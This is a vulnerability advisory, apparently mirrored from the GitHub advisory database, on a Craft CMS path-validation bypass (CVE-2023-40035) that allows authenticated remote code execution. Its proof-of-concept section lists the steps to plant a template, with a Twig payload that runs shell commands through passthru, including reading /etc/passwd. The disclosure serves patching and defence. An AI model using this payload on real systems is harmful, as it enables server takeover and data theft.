Craft CMS vulnerable to Remote Code Execution via validatePath bypass
Summary
Bypassing the validatePath function can lead to potential Remote Code Execution (Post-authentication, ALLOW_ADMIN_CHANGES=true)
Details
In bootstrap.php, the SystemPaths path is set as below.
// Set the vendor path. By default assume that it's 4 levels up from here
$vendorPath = $findConfigPath('--vendorPath', 'CRAFT_VENDOR_PATH') ?? dirname(__DIR__, 3);
// Set the "project root" path that contains config/, storage/, etc. By default assume that it's up a level from vendor/.
$rootPath = $findConfigPath('--basePath', 'CRAFT_BASE_PATH') ?? dirname($vendorPath);
// By default the remaining directories will be in the base directory
$dotenvPath = $findConfigPath('--dotenvPath', 'CRAFT_DOTENV_PATH') ?? "$rootPath/.env";
$configPath = $findConfigPath('--configPath', 'CRAFT_CONFIG_PATH') ?? "$rootPath/config";
$contentMigrationsPath = $findConfigPath('--contentMigrationsPath', 'CRAFT_CONTENT_MIGRATIONS_PATH') ?? "$rootPath/migrations";
$storagePath = $findConfigPath('--storagePath', 'CRAFT_STORAGE_PATH') ?? "$rootPath/storage";
$templatesPath = $findConfigPath('--templatesPath', 'CRAFT_TEMPLATES_PATH') ?? "$rootPath/templates";
$translationsPath = $findConfigPath('--translationsPath', 'CRAFT_TRANSLATIONS_PATH') ?? "$rootPath/translations";
$testsPath = $findConfigPath('--testsPath', 'CRAFT_TESTS_PATH') ?? "$rootPath/tests";
Because paths are validated based on the /path1/path2 format, this can be bypassed using a file URI scheme such as file:///path1/path2. File scheme is supported in mkdir()
/**
* @param string $attribute
* @param array|null $params
* @param InlineValidator $validator
* @return void
* @since 4.4.6
*/
public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void
{
// Make sure it’s not within any of the system directories
$path = FileHelper::absolutePath($this->getRootPath(), '/');
$systemDirs = Craft::$app->getPath()->getSystemPaths();
foreach ($systemDirs as $dir) {
$dir = FileHelper::absolutePath($dir, '/');
if (str_starts_with("$path/", "$dir/")) {
$validator->addError($this, $attribute, Craft::t('app', 'Local volumes cannot be located within system directories.'));
break;
}
}
}
ref. https://www.php.net/manual/en/wrappers.file.php
PoC
- Create a new filesystem. Base Path: file:///var/www/html/templates

- Create a new asset volume. Asset Filesystem: local_bypass

- Upload a ttml file with rce template code. Confirm poc.ttml file created in /var/www/html/templates
{{'<pre>'}}
{{1337*1337}}
{{['cat /etc/passwd']|map('passthru')|join}}
{{['id;pwd;ls -altr /']|map('passthru')|join}}

- Create a new route. URI: * , Template: poc.ttml

- Confirm RCE on arbitrary path ( /* )

PoC Env

Impact
Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.
although the vulnerability is exploitable only in the authenticated users, configuration with ALLOW_ADMIN_CHANGES=true, there is still a potential security threat (Remote Code Execution)
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de Composer | craftcms/cms | >= 4.0.0-RC1, < 4.4.15, >= 3.0.0, < 3.8.15 | 4.4.15, 3.8.15 |
Referencias
- https://github.com/craftcms/cms/security/advisories/GHSA-44wr-rmwq-3phw
- https://nvd.nist.gov/vuln/detail/CVE-2023-40035
- https://github.com/craftcms/cms/commit/0bd33861abdc60c93209cff03eeee54504d3d3b5
- https://github.com/craftcms/cms
- https://github.com/craftcms/cms/releases/tag/3.8.15
- https://github.com/craftcms/cms/releases/tag/4.4.15
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H- Debilidad (CWE)
CWE-74- Plataforma
- Composer
- Paquete
craftcms/cms- Publicada
- 21.08.2023
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-44wr-rmwq-3phw - CC BY 4.0
Historial de vulnerabilidades: craftcms/cms
Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 127
- Primera → última
- 07.2021 08.2026
- Sin corrección
- 6
- Explotada en ataques
- 4
Distribución por gravedad
- Crítica 9
- Alta 41
- Media 65
- Baja 12
Divulgaciones por año
- 2021: 3
- 2022: 22
- 2023: 13
- 2024: 9
- 2025: 6
- 2026: 74
-
Craft CMS vulnerable to Remote Code Execution via validatePath bypass esta entrada
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